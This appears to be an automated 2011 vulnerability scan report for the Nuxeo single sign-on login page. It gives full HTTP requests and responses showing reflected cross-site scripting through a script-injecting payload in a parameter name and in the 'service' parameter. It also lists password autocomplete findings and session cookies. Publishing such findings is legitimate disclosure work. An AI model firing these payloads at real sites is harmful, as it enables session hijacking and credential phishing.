XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, sso.nuxeo.com

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Tue Aug 23 14:00:12 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in sso.nuxeo.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. https://sso.nuxeo.com/cas/login [name of an arbitrarily supplied request parameter]

1.2. https://sso.nuxeo.com/cas/login [service parameter]

2. Password field with autocomplete enabled

2.1. https://sso.nuxeo.com/cas/login

2.2. https://sso.nuxeo.com/cas/login



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://sso.nuxeo.com/cas/login [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://sso.nuxeo.com
Path:   /cas/login

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload dfd93--><script>alert(1)</script>084ebfdb905 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /cas/login?dfd93--><script>alert(1)</script>084ebfdb905=1 HTTP/1.1
Host: sso.nuxeo.com
Connection: keep-alive
Referer: https://sso.nuxeo.com/cas/login?service=https%3A%2F%2Fconnect.nuxeo.com%2Fnuxeo%2Fsite%2Fconnect
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=940A33FFC1237129400A13A6BB0CA0DA; __gads=ID=fd141981a65453d1:T=1314129301:S=ALNI_MbRXXkGFSVGQFJ1XYBUT-9QK8t9gA; __utmz=232009728.1314129326.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=232009728.53406235.1314129324.1314129324.1314129324.1; __utmc=232009728; __utmb=232009728.4.10.1314129324; _mkto_trk=id:498-JDO-611&token:_mch-nuxeo.com-1314129321759-57787

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:57:08 GMT
Server: Apache/2.2.9 (Debian) mod_jk/1.2.26 mod_ssl/2.2.9 OpenSSL/0.9.8g
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Content-Length: 5991


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
   <head>
    <title>Nuxeo ... Connect &#8211; Customer Portal</title>
    <meta http-equiv="Content-Type" content="text
...[SNIP]...
<a href="login?dfd93--><script>alert(1)</script>084ebfdb905=1&locale=en">
...[SNIP]...

1.2. https://sso.nuxeo.com/cas/login [service parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://sso.nuxeo.com
Path:   /cas/login

Issue detail

The value of the service request parameter is copied into an HTML comment. The payload 814a6--><script>alert(1)</script>4e5de4d6a31 was submitted in the service parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /cas/login?service=https%3A%2F%2Fconnect.nuxeo.com%2Fnuxeo%2Fsite%2Fconnect814a6--><script>alert(1)</script>4e5de4d6a31 HTTP/1.1
Host: sso.nuxeo.com
Connection: keep-alive
Referer: http://www.nuxeo.com/en/about/contact
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=fd141981a65453d1:T=1314129301:S=ALNI_MbRXXkGFSVGQFJ1XYBUT-9QK8t9gA; __utmz=232009728.1314129326.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=232009728.53406235.1314129324.1314129324.1314129324.1; __utmc=232009728; __utmb=232009728.4.10.1314129324; _mkto_trk=id:498-JDO-611&token:_mch-nuxeo.com-1314129321759-57787

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:57:05 GMT
Server: Apache/2.2.9 (Debian) mod_jk/1.2.26 mod_ssl/2.2.9 OpenSSL/0.9.8g
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Content-Length: 7107


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
   <head>
    <title>Nuxeo ... Connect &#8211; Customer Portal</title>
    <meta http-equiv="Content-Type" content="text
...[SNIP]...
<a href="login?service=https%3A%2F%2Fconnect.nuxeo.com%2Fnuxeo%2Fsite%2Fconnect814a6--><script>alert(1)</script>4e5de4d6a31&locale=en">
...[SNIP]...

2. Password field with autocomplete enabled  previous
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


2.1. https://sso.nuxeo.com/cas/login  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://sso.nuxeo.com
Path:   /cas/login

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /cas/login HTTP/1.1
Host: sso.nuxeo.com
Connection: keep-alive
Referer: https://sso.nuxeo.com/cas/login?service=https%3A%2F%2Fconnect.nuxeo.com%2Fnuxeo%2Fsite%2Fconnect
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=940A33FFC1237129400A13A6BB0CA0DA; __gads=ID=fd141981a65453d1:T=1314129301:S=ALNI_MbRXXkGFSVGQFJ1XYBUT-9QK8t9gA; __utmz=232009728.1314129326.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=232009728.53406235.1314129324.1314129324.1314129324.1; __utmc=232009728; __utmb=232009728.4.10.1314129324; _mkto_trk=id:498-JDO-611&token:_mch-nuxeo.com-1314129321759-57787

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:56:41 GMT
Server: Apache/2.2.9 (Debian) mod_jk/1.2.26 mod_ssl/2.2.9 OpenSSL/0.9.8g
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Content-Length: 5129


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
   <head>
    <title>Nuxeo ... Connect &#8211; Customer Portal</title>
    <meta http-equiv="Content-Type" content="text
...[SNIP]...
<td align="center">
           <form id="fm1" class="fm-v clearfix" action="/cas/login" method="post">
           
<div class="box" id="login">
...[SNIP]...
</label>
                       
                       
                       <input id="password" name="password" class="required" tabindex="2" accesskey="p" type="password" value="" autocomplete="on"/>
</div>
...[SNIP]...

2.2. https://sso.nuxeo.com/cas/login  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   https://sso.nuxeo.com
Path:   /cas/login

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /cas/login?service=https%3A%2F%2Fconnect.nuxeo.com%2Fnuxeo%2Fsite%2Fconnect HTTP/1.1
Host: sso.nuxeo.com
Connection: keep-alive
Referer: http://www.nuxeo.com/en/about/contact
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=fd141981a65453d1:T=1314129301:S=ALNI_MbRXXkGFSVGQFJ1XYBUT-9QK8t9gA; __utmz=232009728.1314129326.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=232009728.53406235.1314129324.1314129324.1314129324.1; __utmc=232009728; __utmb=232009728.4.10.1314129324; _mkto_trk=id:498-JDO-611&token:_mch-nuxeo.com-1314129321759-57787

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:56:38 GMT
Server: Apache/2.2.9 (Debian) mod_jk/1.2.26 mod_ssl/2.2.9 OpenSSL/0.9.8g
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Content-Length: 6299


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
   <head>
    <title>Nuxeo ... Connect &#8211; Customer Portal</title>
    <meta http-equiv="Content-Type" content="text
...[SNIP]...
<td align="center">
           <form id="fm1" class="fm-v clearfix" action="/cas/login?service=https%3A%2F%2Fconnect.nuxeo.com%2Fnuxeo%2Fsite%2Fconnect" method="post">
           
<div class="box" id="login">
...[SNIP]...
</label>
                       
                       
                       <input id="password" name="password" class="required" tabindex="2" accesskey="p" type="password" value="" autocomplete="on"/>
</div>
...[SNIP]...

Report generated by XSS.CX at Tue Aug 23 14:00:12 GMT-06:00 2011.